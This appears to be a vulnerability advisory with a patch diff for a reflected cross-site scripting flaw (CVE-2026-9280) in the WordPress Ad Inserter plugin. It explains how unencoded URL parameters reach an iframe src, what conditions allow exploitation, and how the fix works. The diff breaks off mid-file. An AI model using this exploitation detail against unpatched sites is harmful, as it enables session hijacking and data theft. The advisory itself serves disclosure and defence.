Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 11, 2026

CVE-2026-9280: Ad Inserter <= 2.8.15 Reflected Cross-Site Scripting via URL Parameters in iframe Mode PoC, Patch Analysis & Rule

CVE ID CVE-2026-9280
Plugin ad-inserter
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 2.8.15
Patched Version 2.8.16
Disclosed June 4, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9280:

This vulnerability is a Reflected Cross-Site Scripting (XSS) in the Ad Inserter – Ad Manager & AdSense Ads plugin for WordPress, affecting versions up to and including 2.8.15. The flaw exists in the iframe ad rendering mode and allows unauthenticated attackers to inject arbitrary web scripts via URL parameters. The CVSS score is 6.1 (Medium), with the attack vector requiring user interaction (clicking a crafted link) and iframe mode enabled on at least one ad block.

The root cause is insufficient input sanitization in the iframe parameter handling within the class.php file, specifically in the code that builds the iframe source URL. In the vulnerable version, line 3462 of class.php concatenates raw URL parameter names and values from $_GET directly into the iframe `src` attribute without encoding: `$iframe_parameters .= ‘&’. $url_parameter . ‘=’ . $url_parameter_value;`. This means an attacker can inject JavaScript code through any GET parameter (except those filtered out in the `in_array` check on line 3460). The `$iframe_style` variable, used in the `style` attribute of the iframe, also lacked escaping in the vulnerable version, though the primary vector is the `src` attribute. The iframe is rendered on the page through the `ai_wp_footer_hook` or `ai_wp_head_hook` functions (lines 4418 and 4087), where `AI_CODE_FOR_IFRAME` is set, and the output is echoed directly.

Exploitation requires that an ad block has its iframe mode enabled (a non-default setting). An attacker crafts a URL with a malicious query parameter containing JavaScript, such as `alert(‘XSS’)`. When a victim clicks this link, the plugin’s iframe code appends the unescaped parameter to the iframe `src`, causing the browser to execute the script. The attacker must also ensure the targeted page has at least one ad block configured for iframe display. The attack vector is reflected XSS, where the payload is present in the request URL and reflected back in the response without proper sanitization.

The patch introduces two critical changes in class.php (diff lines 3459-3467). First, it applies `rawurlencode()` to both the URL parameter name and value: `$iframe_parameters .= ‘&’. rawurlencode ($url_parameter) . ‘=’ . rawurlencode ($url_parameter_value);`. This ensures that any characters with special meaning in HTML or JavaScript context are encoded. Second, it applies `esc_attr()` to the `$iframe_style` variable in the iframe tag: `<iframe style="' . esc_attr ($iframe_style). '" src=…`. This prevents XSS through the style attribute. The patch also adds `is_rest()` checks in multiple hook functions (lines 3236, 4225, 4395, 4560) to prevent code execution during REST API requests, reducing the attack surface.

If exploited, an attacker can inject arbitrary JavaScript that executes in the context of the victim's WordPress admin or front-end session. This enables cookie theft, session hijacking, defacement of pages, redirection to malicious sites, or exfiltration of sensitive data. The impact is limited by the requirement for user interaction (clicking the crafted link) and the enabling of iframe mode, but in multi-tenant or high-traffic WordPress installations, a single successful XSS could lead to account takeover or further compromise.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/ad-inserter/ad-inserter.php
+++ b/ad-inserter/ad-inserter.php
@@ -5,7 +5,7 @@

 /*
 Plugin Name: Ad Inserter
-Version: 2.8.15
+Version: 2.8.16
 Description: Ad management with many advanced advertising features to insert ads at optimal positions
 Author: Igor Funa
 Author URI: http://igorfuna.com/
@@ -21,6 +21,11 @@

 Change Log

+Ad Inserter 2.8.16 - 2026-05-26
+- Fix for reflected cross-site scripting (credits to darkmode)
+- Added support for Gutenberg blocks
+- Few minor bug fixes, cosmetic changes and code improvements
+
 Ad Inserter 2.8.15 - 2026-04-12
 - Optimized AdSense API code
 - Few minor bug fixes, cosmetic changes and code improvements
@@ -3231,6 +3236,7 @@
   global $ai_wp_data, $wp_version;

   if (get_disable_js_code ()) return;
+  if (is_rest ()) return;

   $adb_code = defined ('AI_ADBLOCKING_DETECTION') && AI_ADBLOCKING_DETECTION && $ai_wp_data [AI_ADB_DETECTION] && !isset ($ai_wp_data [AI_ADB_SHORTCODE_DISABLED]) && !$ai_wp_data [AI_WP_AMP_PAGE];

@@ -3510,29 +3516,6 @@
   global $current_screen, $ai_db_options, $ai_wp_data, $ai_db_options_extract;
   global $ai_settings_page, $hook_suffix;

-//  $sidebar_widgets = wp_get_sidebars_widgets();
-//  $sidebars_with_deprecated_widgets = array ();
-
-//  foreach ($sidebar_widgets as $sidebar_widget_index => $sidebar_widget) {
-//    if (is_array ($sidebar_widget))
-//      foreach ($sidebar_widget as $widget) {
-//        if (preg_match ("/ai_widget([d]+)/", $widget, $widget_number)) {
-//          if (isset ($widget_number [1]) && is_numeric ($widget_number [1])) {
-//            $is_widget = $ai_db_options [$widget_number [1]][AI_OPTION_AUTOMATIC_INSERTION] == AD_SELECT_WIDGET;
-//          } else $is_widget = false;
-//          $sidebar_name = $GLOBALS ['wp_registered_sidebars'][$sidebar_widget_index]['name'];
-//          if ($is_widget && $sidebar_name != "")
-//            $sidebars_with_deprecated_widgets [$sidebar_widget_index] = $sidebar_name;
-//        }
-//      }
-//  }
-
-//  if (!empty ($sidebars_with_deprecated_widgets)) {
-//    echo "<div class='notice notice-warning'><p><strong>Warning</strong>: You are using deprecated Ad Inserter widgets in the following sidebars: ",
-//    implode (", ", $sidebars_with_deprecated_widgets),
-//    ". Please replace them with the new 'Ad Inserter' code block widget. See <a href='https://wordpress.org/plugins/ad-inserter/faq/' target='_blank'>FAQ</a> for details.</p></div>";
-//  }
-
   if (function_exists ('ai_admin_notices')) ai_admin_notices (); else {
     if (/*$hook_suffix == $ai_settings_page &&*/ is_super_admin () && !wp_is_mobile () && isset ($ai_wp_data [AI_DAYS_SINCE_INSTAL])) {

@@ -3915,16 +3898,21 @@
    '<a href="https://adinserter.pro/documentation/individual-post-and-page-exceptions" style="text-decoration: none; box-shadow: 0 0 0;" target="_blank">Ad Inserter ' . __('Individual Exceptions', 'ad-inserter') . '</a>.</p>');
 }

-function ai_save_meta_box_data_hook ($post_id) {
+function ai_save_post_hook ($post_id, $post, $update) {
+  // If this is an autosave, our form has not been submitted, so we don't want to do anything.
+  if (defined ('DOING_AUTOSAVE') && DOING_AUTOSAVE) return;
+
+  if ($post->post_type === 'post' || $post->post_type === 'page') {
+    // Update post ids with gutenberg blocks
+    ai_get_post_ids_with_blocks ();
+  }
+
   // Check if our nonce is set.
   if (!isset ($_POST ['adinserter_meta_box_nonce'])) return;

   // Verify that the nonce is valid.
   if (!wp_verify_nonce ($_POST ['adinserter_meta_box_nonce'], 'adinserter_meta_box')) return;

-  // If this is an autosave, our form has not been submitted, so we don't want to do anything.
-  if (defined ('DOING_AUTOSAVE') && DOING_AUTOSAVE) return;
-
   // Check the user's permissions.
   if (isset ($_POST ['post_type'])) {
     if ($_POST ['post_type'] == 'page') {
@@ -3953,6 +3941,154 @@
   register_widget ('ai_widget'); // AI widget PHP class name
 }

+function ai_register_php_only_gutenberg_blocks () {
+  global $block_object;
+
+  $ai_block_data = array ();
+  for ($ai_block = 1; $ai_block <= 96; $ai_block ++) {
+    $name_attributes = $block_object [$ai_block]->get_disable_insertion () ? _x('PAUSED', 'block', 'ad-inserter') . ' ' : '';
+
+    $ai_block_data [] = array (
+      'value'         => $ai_block,
+      'name'          => $block_object [$ai_block]->get_ad_name (),
+      'attributes'    => $name_attributes,
+      'label'         => $ai_block . ' - ' . $block_object [$ai_block]->get_ad_name () . ($name_attributes != '' ? ' - ' . $name_attributes : ''),
+      'paused'        => $block_object [$ai_block]->get_disable_insertion (),
+      'widget'        => $block_object [$ai_block]->get_enable_widget (),
+      'sticky'        => $block_object [$ai_block]->get_sticky (),
+      'sticky-height' => trim ($block_object [$ai_block]->get_sticky_height ()),
+    );
+  }
+  $ai_block_data [] = array (
+    'value'         => 97,
+    'name'          => __('Processing log', 'ad-inserter'),
+    'attributes'    => '',
+    'label'         => __('Processing log', 'ad-inserter'),
+    'paused'        => false,
+    'widget'        => true,
+    'sticky'        => false,
+    'sticky-height' => 0,
+  );
+  $ai_block_data [] = array (
+    'value'         => 98,
+    'name'          => __('Debugging tools', 'ad-inserter'),
+    'attributes'    => '',
+    'label'         => __('Debugging tools', 'ad-inserter'),
+    'paused'        => false,
+    'widget'        => true,
+    'sticky'        => false,
+    'sticky-height' => 0,
+  );
+
+  wp_register_style (
+    'ai-block-editor-style',
+    plugins_url ('css/ai-block-editor.css', __FILE__ ),
+    ['wp-edit-blocks'],  // depends on core block editor styles
+    AD_INSERTER_VERSION
+  );
+
+  wp_register_script (
+    'ai-block-editor-script',
+    plugins_url ('js/ai-block-editor.js', __FILE__),
+    ['wp-blocks', 'wp-element', 'wp-block-editor', 'wp-components'],
+    AD_INSERTER_VERSION,
+    true
+  );
+
+  if (defined ('AI_SAFE_MODE')) {
+    $url_parameters = '&ai-safe-mode';
+  } else $url_parameters = '';
+
+  wp_localize_script ('ai-block-editor-script', 'aiData', [
+    'blockData'       => $ai_block_data,
+    'adInserterName'  => AD_INSERTER_NAME,
+    'aiPage'          => admin_url (get_menu_position () == AI_SETTINGS_SUBMENU ? 'options-general.php?page=ad-inserter.php' : 'admin.php?page=ad-inserter.php'),
+    'urlParameters'   => $url_parameters,
+    'block'           => __('Block', 'ad-inserter'),
+    'blockNum'        => __('block', 'ad-inserter'),
+    'enabled'         => __('Enabled', 'ad-inserter'),
+    'sticky'          => __('Sticky', 'ad-inserter'),
+    'stickyHeight'    => __('Sticky height', 'ad-inserter'),
+    'settings'        => __('Settings', 'ad-inserter'),
+    'blockSettings'   => __('Click to open block settings in a new tab', 'ad-inserter'),
+  ]);
+
+  register_block_type (
+    AI_GUTENBERG_BLOCK,
+    array (
+      'title'         => AD_INSERTER_NAME,
+      'icon'          => 'layout',
+      'description'   => __('Insert code block', 'ad-inserter'),
+      'category'      => 'text',
+//      "supports" => array (
+//        "position" => array (
+//          "sticky"=> true
+//        )
+//      ),
+      'editor_script' => 'ai-block-editor-script',
+      'editor_style'  => 'ai-block-editor-style',
+      'attributes'    => array (
+        'blockNumber'    => array (
+            'type'    => 'integer',
+            'enum'    => array_column ($ai_block_data, 'value'),
+            'default' => 1,
+        ),
+        'enabled' => array (
+            'type'    => 'boolean',
+            'default' => true,
+        ),
+        'sticky' => array (
+            'type'    => 'boolean',
+            'default' => false,
+        ),
+        'stickyHeight'    => array (
+            'type'    => 'integer',
+            'default' => 0,
+        ),
+      ),
+      'render_callback' => function ($attributes) {
+        global $block_object, $ai_wp_data;
+
+        $block = (int) $attributes ['blockNumber'];
+        if ($block >= 1 && $block <= 96) {
+          if ($attributes ['enabled'] && $block_object [(int) $attributes ['blockNumber']]->get_enable_widget ()) {
+            if ($attributes ['sticky']) {
+              $ai_wp_data ['AI_GUTENBERG_BLOCK_STICKY'] = $attributes ['stickyHeight'];
+            }
+            $code = adinserter_gutenberg ((int) $attributes ['blockNumber']);
+            unset ($ai_wp_data ['AI_GUTENBERG_BLOCK_STICKY']);
+          } else $code = '';
+
+          return $code;
+        }
+        else {
+          switch ($block) {
+            case 97:
+              ob_start ();
+              echo "<pre>n";
+              ai_write_debug_info ();
+              echo "</pre>n";
+              $code = ob_get_clean ();
+              break;
+            case 98:
+              ob_start ();
+              ai_write_debugging_tools ();
+              $code = ob_get_clean ();
+              break;
+          }
+
+          if ($attributes ['sticky']) {
+            $code = '<div style="position: sticky; top: calc(' . ((int) get_sticky_widget_margin ()) .'px + var(--wp-admin--admin-bar--height, 0px)); align-self: flex-start;">'."n" . $code . '</div>'."n" . '<div style="height: ' . $attributes ['stickyHeight'] . 'px;"></div>'."n";
+          }
+
+          return $code;
+        }
+      }
+    )
+  );
+
+}
+
 function get_page_type_debug_info ($text = '') {
   global $ai_wp_data;

@@ -4087,6 +4223,8 @@
 function ai_wp_head_hook () {
   global $block_object, $ai_wp_data, $ai_total_plugin_time/*, $ai_front_translations*/;

+  if (is_rest ()) return;
+
   if (($ai_wp_data [AI_WP_DEBUGGING] & AI_DEBUG_PROCESSING) != 0) {
     ai_log ("HEAD HOOK START");
     $ai_processing_time_active = $ai_wp_data [AI_PROCESSING_TIME];
@@ -4171,7 +4309,7 @@
     }
   }

-  if (!$ai_wp_data [AI_CODE_FOR_IFRAME]) {
+  if (!$ai_wp_data [AI_CODE_FOR_IFRAME] && !is_rest ()) {
     if ($ai_wp_data [AI_WP_DEBUGGING] != 0 && isset ($_GET ['ai-debug-code']) && !defined ('AI_DEBUGGING_DEMO')) {
       if (is_numeric ($_GET ['ai-debug-code']) && $_GET ['ai-debug-code'] >= 1 && $_GET ['ai-debug-code'] <= 96) {
         $obj = $block_object [(int) $_GET ['ai-debug-code']];
@@ -4255,6 +4393,8 @@
 function ai_amp_head_hook () {
   global $block_object, $ai_wp_data, $ai_total_plugin_time;

+  if (is_rest ()) return;
+
   if (($ai_wp_data [AI_WP_DEBUGGING] & AI_DEBUG_PROCESSING) != 0) {
     ai_log ("AMP HEAD HOOK START");
     $ai_processing_time_active = $ai_wp_data [AI_PROCESSING_TIME];
@@ -4418,6 +4558,8 @@
 function ai_wp_footer_hook () {
   global $block_object, $ai_wp_data, $ad_inserter_globals, $ai_total_plugin_time;

+  if (is_rest ()) return;
+
   if (($ai_wp_data [AI_WP_DEBUGGING] & AI_DEBUG_PROCESSING) != 0) {
     ai_log ("FOOTER HOOK START");
     $ai_processing_time_active = $ai_wp_data [AI_PROCESSING_TIME];
@@ -4474,7 +4616,7 @@
       }
   }

-  if (!$ai_wp_data [AI_CODE_FOR_IFRAME]) {
+  if (!$ai_wp_data [AI_CODE_FOR_IFRAME] && !is_rest ()) {
     if (!get_disable_footer_code () && isset ($_GET ['ai-debug-code']) && !defined ('AI_DEBUGGING_DEMO')) {
       echo get_code_debug_block (' ' . __('Footer code', 'ad-inserter') . ' ' . ($footer->get_enable_manual () ? '' : ' ' . _x('DISABLED', 'Footer code', 'ad-inserter')), '...</body>', strlen ($footer_code).' ' . _n('character inserted', 'characters inserted', strlen ($footer_code), 'ad-inserter'), $footer->ai_getCode (), $footer_code);
     }
@@ -7466,30 +7608,33 @@
   }

   // Get blocks used in sidebar widgets
-  $sidebar_widgets = wp_get_sidebars_widgets();
-  // 'widget_' + registered AI widget name
-  $widget_options = get_option ('widget_ai_widget');
-
-  $widget_blocks = array ();
-  foreach ($sidebar_widgets as $sidebar_index => $sidebar_widget) {
-    if (is_array ($sidebar_widget) && isset ($GLOBALS ['wp_registered_sidebars'][$sidebar_index]['name'])) {
-      $sidebar_name = $GLOBALS ['wp_registered_sidebars'][$sidebar_index]['name'];
-      if ($sidebar_name != "") {
-        foreach ($sidebar_widget as $widget) {
-          if (preg_match ("/ai_widget-([d]+)/", $widget, $widget_id)) {
-            if (isset ($widget_id [1]) && is_numeric ($widget_id [1])) {
-              $widget_option = $widget_options [$widget_id [1]];
-              $widget_block = $widget_option ['block'];
-              if ($widget_block >= 1 && $widget_block <= 96) {
-                $widget_blocks [] = $widget_block;
-              }
-            }
-          }
-        }
-      }
-    }
-  }
-  $widget_blocks = array_unique ($widget_blocks);
+
+//  $sidebar_widgets = wp_get_sidebars_widgets();
+//  // 'widget_' + registered AI widget name
+//  $widget_options = get_option ('widget_ai_widget');
+
+//  $widget_blocks = array ();
+//  foreach ($sidebar_widgets as $sidebar_index => $sidebar_widget) {
+//    if (is_array ($sidebar_widget) && isset ($GLOBALS ['wp_registered_sidebars'][$sidebar_index]['name'])) {
+//      $sidebar_name = $GLOBALS ['wp_registered_sidebars'][$sidebar_index]['name'];
+//      if ($sidebar_name != "") {
+//        foreach ($sidebar_widget as $widget) {
+//          if (preg_match ("/ai_widget-([d]+)/", $widget, $widget_id)) {
+//            if (isset ($widget_id [1]) && is_numeric ($widget_id [1])) {
+//              $widget_option = $widget_options [$widget_id [1]];
+//              $widget_block = $widget_option ['block'];
+//              if ($widget_block >= 1 && $widget_block <= 96) {
+//                $widget_blocks [] = $widget_block;
+//              }
+//            }
+//          }
+//        }
+//      }
+//    }
+//  }
+//  $widget_blocks = array_unique ($widget_blocks);
+
+  $widget_blocks = array_keys (array_filter (get_sidebar_widgets ()));

   // Generate extracted data
   $active_blocks = array ();
@@ -8659,7 +8804,7 @@
 }


-function ai_adinserter ($block_parameter, $options, &$block) {
+function ai_adinserter ($block_parameter, $options, &$block, $gutenberg_block = false) {
   global $block_object, $ad_inserter_globals, $ai_wp_data, $ai_last_check;

   $debug_processing = ($ai_wp_data [AI_WP_DEBUGGING] & AI_DEBUG_PROCESSING) != 0;
@@ -8685,14 +8830,24 @@

   if ($block < 1 || $block > 96) return "";

+  if ($gutenberg_block) {
+    $globals_name = AI_GUTENBERG_BLOCK_COUNTER_NAME . $block;
+  } else
   $globals_name = AI_PHP_FUNCTION_CALL_COUNTER_NAME . $block;

   if (!isset ($ad_inserter_globals [$globals_name])) {
     $ad_inserter_globals [$globals_name] = 1;
   } else $ad_inserter_globals [$globals_name] ++;

-  if ($debug_processing) ai_log ("PHP FUNCTION CALL adinserter ($block_parameter".($options == '' ? '' : (', ''.$options.'''))."), block $block [" . $ad_inserter_globals [$globals_name] . ']');
+  if ($gutenberg_block) {
+    $log_string = 'GUTENBERG BLOCK';
+  } else $log_string = 'PHP FUNCTION CALL';

+  if ($debug_processing) ai_log ($log_string . " adinserter ($block_parameter".($options == '' ? '' : (', ''.$options.'''))."), block $block [" . $ad_inserter_globals [$globals_name] . ']');
+
+  if ($gutenberg_block) {
+    $ai_wp_data [AI_CONTEXT] = AI_CONTEXT_GUTENBERG_BLOCK;
+  } else
   $ai_wp_data [AI_CONTEXT] = AI_CONTEXT_PHP_FUNCTION;

   $options_array = array ();
@@ -8716,8 +8871,13 @@
   $obj = $block_object [$block];
   $obj->clear_code_cache ();

-  $ai_last_check = AI_CHECK_ENABLED_PHP;
-  if (!$obj->get_enable_php_call ()) return "";
+  if ($gutenberg_block) {
+    // Always enabled
+  } else {
+      $ai_last_check = AI_CHECK_ENABLED_PHP;
+      if (!$obj->get_enable_php_call ()) return "";
+    }
+
   if (!$obj->check_server_side_detection ()) return "";
                                                    /* Deprecated */
   if (!$obj->check_page_types_lists_users (in_array ("page-type", $options_array) || in_array ("ignore-page-type", $options_array))) return "";
@@ -8725,7 +8885,6 @@
   if (!$obj->check_number_of_words ()) return "";

   if ($ai_wp_data [AI_WP_PAGE_TYPE] == AI_PT_POST || $ai_wp_data [AI_WP_PAGE_TYPE] == AI_PT_STATIC) {
-//    $meta_value = get_post_meta (get_the_ID (), '_adinserter_block_exceptions', true);
     $meta_value = ai_get_post_meta ();

     $selected_blocks = explode (",", $meta_value);
@@ -8740,8 +8899,6 @@
   if ($obj->get_disable_insertion () || get_disable_block_insertions ()) return "";

   // Last check before counter check before insertion
-//  $ai_last_check = AI_CHECK_CODE;
-//  if ($obj->ai_getCode () == '') return "";
   if ($obj->empty_code ()) return "";

   $max_page_blocks_enabled = $obj->get_max_page_blocks_enabled ();
@@ -8799,6 +8956,34 @@
   return $code;
 }

+function adinserter_gutenberg ($block = '', $options = '') {
+  global $ai_last_check, $ai_wp_data, $ai_total_plugin_time;
+
+  $debug_processing = ($ai_wp_data [AI_WP_DEBUGGING] & AI_DEBUG_PROCESSING) != 0;
+  if ($debug_processing) {
+    $ai_processing_time_active = $ai_wp_data [AI_PROCESSING_TIME];
+    $ai_wp_data [AI_PROCESSING_TIME] = true;
+    $start_time = microtime (true);
+  }
+
+
+  $ai_last_check = AI_CHECK_NONE;
+  $block_number = 0;
+  $code = ai_adinserter ($block, $options, $block_number, true);
+
+  if ($debug_processing) {
+    if (!$ai_processing_time_active) {
+      $ai_total_plugin_time += microtime (true) - $start_time;
+      $ai_wp_data [AI_PROCESSING_TIME] = false;
+    }
+    if ($ai_last_check != AI_CHECK_NONE) ai_log (ai_log_block_status ($block_number, $ai_last_check));
+
+    ai_log ("GUTENBERG BLOCK CALL END: ". number_format (1000 * (microtime (true) - $start_time), 2)." msn");
+  }
+
+  return $code;
+}
+
 function generate_rotation_code ($option_data, $rotate_options = '') {

   $attributes = '';
@@ -13291,6 +13476,7 @@
 add_action ('wp',                         'ai_wp_hook');
 add_action ('wp_enqueue_scripts',         'ai_wp_enqueue_scripts_hook' );
 //add_action ('upgrader_process_complete',  'ai_upgrader_process_complete_hook', 10, 2);
+add_action ('init',                       'ai_register_php_only_gutenberg_blocks');

 if (function_exists ('ai_system_output_check')) $ai_system_output = ai_system_output_check (); else $ai_system_output = false;

@@ -13307,7 +13493,7 @@

 add_action ('widgets_init',       'ai_widgets_init_hook');
 add_action ('add_meta_boxes',     'ai_add_meta_box_hook');
-add_action ('save_post',          'ai_save_meta_box_data_hook');
+add_action ('save_post',          'ai_save_post_hook', 10, 3);

 if (function_exists ('ai_hooks')) ai_hooks ();

--- a/ad-inserter/class.php
+++ b/ad-inserter/class.php
@@ -3459,7 +3459,7 @@

       foreach ($_GET as $url_parameter => $url_parameter_value) {
         if (in_array ($url_parameter, array ('action', 'block', 'referrer', 'cookie_check', 'hide-debug-labels', 'rnd'))) continue;
-        $iframe_parameters .= '&'. $url_parameter . '=' . $url_parameter_value;
+        $iframe_parameters .= '&'. rawurlencode ($url_parameter) . '=' . rawurlencode ($url_parameter_value);
       }

       $attributes = '';
@@ -3467,7 +3467,7 @@
         $attributes = ' onload="ai_resize_iframe (this);"';
       }

-      $code = '<iframe style="' . $iframe_style. '" src="' . get_home_url (null, 'wp-admin/admin-ajax.php?action=ai_ajax&block=') . $this->number . $iframe_parameters .'" marginheight="0" marginwidth="0" frameborder="0" scrolling="no"' . $attributes . '></iframe>' . "n";
+      $code = '<iframe style="' . esc_attr ($iframe_style). '" src="' . get_home_url (null, 'wp-admin/admin-ajax.php?action=ai_ajax&block=') . $this->number . $iframe_parameters .'" marginheight="0" marginwidth="0" frameborder="0" scrolling="no"' . $attributes . '></iframe>' . "n";
     } else {
         if (is_array ($this->check_codes) && isset ($this->check_codes [$this->check_codes_index])) {
           $this->check_codes_index ++;
@@ -5427,8 +5427,9 @@
       if ($parallax_options) break;
     }

-    if ($this->get_sticky ()) {
-      $height = trim ($this->get_sticky_height ());
+    $block_is_sticky = $this->get_sticky () || isset ($ai_wp_data ['AI_GUTENBERG_BLOCK_STICKY']);
+    if ($block_is_sticky) {
+      $height = isset ($ai_wp_data ['AI_GUTENBERG_BLOCK_STICKY']) ? (int) $ai_wp_data ['AI_GUTENBERG_BLOCK_STICKY'] : trim ($this->get_sticky_height ());
       $style = '';

       if ($height != '' && !$parallax_options) {
@@ -5436,7 +5437,7 @@
           $height .= 'px';
         }
         $style = ' height: ' . $height . ';';
-        $code = '<div style="position: sticky; top: ' . ((int) get_sticky_widget_margin ()) .'px;">'."n" . $code . '</div>'."n" . '<div style="' . $style . '"></div>'."n";
+        $code = '<div style="position: sticky; top: calc(' . ((int) get_sticky_widget_margin ()) .'px + var(--wp-admin--admin-bar--height, 0px)); align-self: flex-start;">'."n" . $code . '</div>'."n" . '<div style="' . $style . '"></div>'."n";
       }
     }

--- a/ad-inserter/constants.php
+++ b/ad-inserter/constants.php
@@ -15,6 +15,7 @@
 define ('AI_ADSENSE_REFRESH_TOKEN',      'ai_adsense_refresh_token');
 define ('AI_ADSENSE_TOKEN_EXPIRES',      'ai_adsense_token_expires');
 define ('AI_ADSENSE_OWN_IDS',            'ai-adsense-own-ids');
+define ('AI_GUTENBERG_BLOCK',            'ad-inserter/block');
 define ('AI_ADSENSE_API_IDS',            true);

 if (!defined ('AD_INSERTER_PLUGIN_DIR'))
@@ -37,7 +38,7 @@
   define ('AD_INSERTER_NAME', 'Ad Inserter');

 if (!defined( 'AD_INSERTER_VERSION'))
-  define ('AD_INSERTER_VERSION', '2.8.15');
+  define ('AD_INSERTER_VERSION', '2.8.16');

 if (!defined ('AD_INSERTER_PLUGIN_BASENAME'))
   define ('AD_INSERTER_PLUGIN_BASENAME', plugin_basename (__FILE__));
@@ -853,6 +854,7 @@
 // Counter names
 define ('AI_BLOCK_COUNTER_NAME',                    'AI_BLOCK_COUNTER_');
 define ('AI_PHP_FUNCTION_CALL_COUNTER_NAME',        'AI_PHP_FUNCTION_CALL_COUNTER_');
+define ('AI_GUTENBERG_BLOCK_COUNTER_NAME',          'AI_GUTENBERG_BLOCK_COUNTER_');
 define ('AI_CONTENT_COUNTER_NAME',                  'AI_CONTENT_COUNTER');
 define ('AI_EXCERPT_COUNTER_NAME',                  'AI_EXCERPT_COUNTER');
 define ('AI_LOOP_BEFORE_COUNTER_NAME',              'AI_LOOP_START_COUNTER');
@@ -876,6 +878,9 @@
 define ('AI_TRANSIENT_STATISTICS',              'ai-statistics');
 define ('AI_TRANSIENT_STATISTICS_EXPIRATION',   20 * 60);

+define ('AI_TRANSIENT_POST_IDS',                'ai-post-ids');
+define ('AI_TRANSIENT_POST_IDS_EXPIRATION',     96 * 3600);
+
 define ('AI_TRANSIENT_CFP_IP_ADDRESS',          'ai-cfp-');

 define ('AI_TRANSIENT_ADSENSE_TOKEN_1',         'ai-adsense');
@@ -1266,6 +1271,7 @@
 define ('AI_ACTIVE_GROUP_NAMES',         80);
 define ('AI_NO_JQUERY_CODE',             81);
 define ('AI_NO_GROUP_ACTIVATION',        82);
+define ('AI_GUTENBERG_BLOCK_STICKY',     83);


 define ('AI_CONTEXT_NONE',                0);
@@ -1283,6 +1289,7 @@
 define ('AI_CONTEXT_BEFORE_COMMENTS',    12);
 define ('AI_CONTEXT_BETWEEN_COMMENTS',   13);
 define ('AI_CONTEXT_AFTER_COMMENTS',     14);
+define ('AI_CONTEXT_GUTENBERG_BLOCK',    15);
 define ('AI_CONTEXT_CUSTOM_HOOK',        100);

 define ('AI_URL_DEBUG',                      'ai-debug');               // AI_URL_DEBUG_
--- a/ad-inserter/settings.php
+++ b/ad-inserter/settings.php
@@ -475,34 +475,6 @@

   $sidebars_with_widget = get_sidebar_widgets ();

-//  $sidebar_widgets = wp_get_sidebars_widgets();
-//  $widget_options = get_option ('widget_ai_widget');
-
-//  $sidebars_with_widgets = array ();
-////  for ($block = $start; $block <= $end; $block ++){
-//  for ($block = 1; $block <= 96; $block ++){
-//    $sidebars_with_widget [$block]= array ();
-//  }
-//  foreach ($sidebar_widgets as $sidebar_index => $sidebar_widget) {
-//    if (is_array ($sidebar_widget) && isset ($GLOBALS ['wp_registered_sidebars'][$sidebar_index]['name'])) {
-//      $sidebar_name = $GLOBALS ['wp_registered_sidebars'][$sidebar_index]['name'];
-//      if ($sidebar_name != "") {
-//        foreach ($sidebar_widget as $widget) {
-//          if (preg_match ("/ai_widget-([d]+)/", $widget, $widget_id)) {
-//            if (isset ($widget_id [1]) && is_numeric ($widget_id [1])) {
-//              $widget_option = $widget_options [$widget_id [1]];
-//              $widget_block = $widget_option ['block'];
-////              if ($widget_block >= $start && $widget_block <= $end && !in_array ($sidebar_name, $sidebars_with_widget [$widget_block])) {
-//              if ($widget_block >= 1 && $widget_block <= 96 && !in_array ($sidebar_name, $sidebars_with_widget [$widget_block])) {
-//                $sidebars_with_widget [$widget_block] []= $sidebar_name;
-//              }
-//            }
-//          }
-//        }
-//      }
-//    }
-//  }
-
   $manual_widget                = array ();
   $manual_shortcode             = array ();
   $manual_php_function          = array ();
@@ -1316,8 +1288,8 @@

   <div style="padding: 0; min-height: 28px;">
     <div style="float: left;">
-      <button id="lists-button-<?php echo $block; ?>" type="button" class='ai-button2' style="display: none; margin-right: 4px;" title="<?php _e ('White/Black-list Category, Tag, Taxonomy, Post ID, Url, Url parameter, Cookie or Referer (domain)', 'ad-inserter'); ?>"><span style="<?php echo $lists_style; ?>"><?php _e ('Lists', 'ad-inserter'); ?></span></button>
-      <button id="manual-button-<?php echo $block; ?>" type="button" class='ai-button2' style="display: none; margin-right: 4px;" title="<?php _e ('Widget, Shortcode and PHP function call', 'ad-inserter'); ?>"><span style="<?php echo $manual_style; ?>"><?php _e ('Manual', 'ad-inserter'); ?></span></button>
+      <button id="lists-button-<?php echo $block; ?>" type="button" class='ai-button2' style="display: none; margin-right: 4px;" title="<?php _e ('White/Black-list Category, Tag, Taxonomy, Post ID, Url, Url parameter, Cookie or Referer (domain)', 'ad-inserter'); ?>"><span style="<?php echo $lists_style; ?>"><?php _e ('Conditions', 'ad-inserter'); ?></span></button>
+      <button id="manual-button-<?php echo $block; ?>" type="button" class='ai-button2' style="display: none; margin-right: 4px;" title="<?php _e ('Widget, Gutenberg block, Shortcode and PHP function call', 'ad-inserter'); ?>"><span style="<?php echo $manual_style; ?>"><?php _e ('Manual', 'ad-inserter'); ?></span></button>
       <button id="device-detection-button-<?php echo $block; ?>" class='ai-button2' type="button" style="display: none; margin-right: 4px;" title="<?php _e ('Client/Server-side Device Detection (Desktop, Tablet, Phone,...)', 'ad-inserter'); ?>"><span style="<?php echo $devices_style; ?>"><?php _e ('Devices', 'ad-inserter'); ?></span></button>
       <button id="misc-button-<?php echo $block; ?>" type="button" class='ai-button2' style="display: none; margin-right: 4px;" title="<?php _e ('Check for user status, Limit insertions (error 404 page, Ajax requests, RSS feeds), Filter, Scheduling, General tag', 'ad-inserter'); ?>"><span style="<?php echo $misc_style; ?>"><?php _e ('Misc', 'ad-inserter'); ?></span></button>
       <button id="preview-button-<?php echo $block; ?>" type="button" class='ai-button2' style="display: none; margin-right: 4px;" title="<?php _e ('Preview code and alignment', 'ad-inserter'); ?>" site-url="<?php echo wp_make_link_relative (get_site_url()); ?>"><?php _e ('Preview', 'ad-inserter'); ?></button>
@@ -2153,12 +2125,12 @@
         <td style="padding: 4px 10px 4px 0;">
           <input type="hidden" name="<?php echo AI_OPTION_ENABLE_WIDGET, WP_FORM_FIELD_POSTFIX, $block; ?>" value="0" />
           <input id="enable-widget-<?php echo $block; ?>" type="checkbox" name="<?php echo AI_OPTION_ENABLE_WIDGET, WP_FORM_FIELD_POSTFIX, $block; ?>" value="1" default="<?php echo $default->get_enable_widget(); ?>" <?php if ($obj->get_enable_widget () == AI_ENABLED) echo 'checked '; ?> />
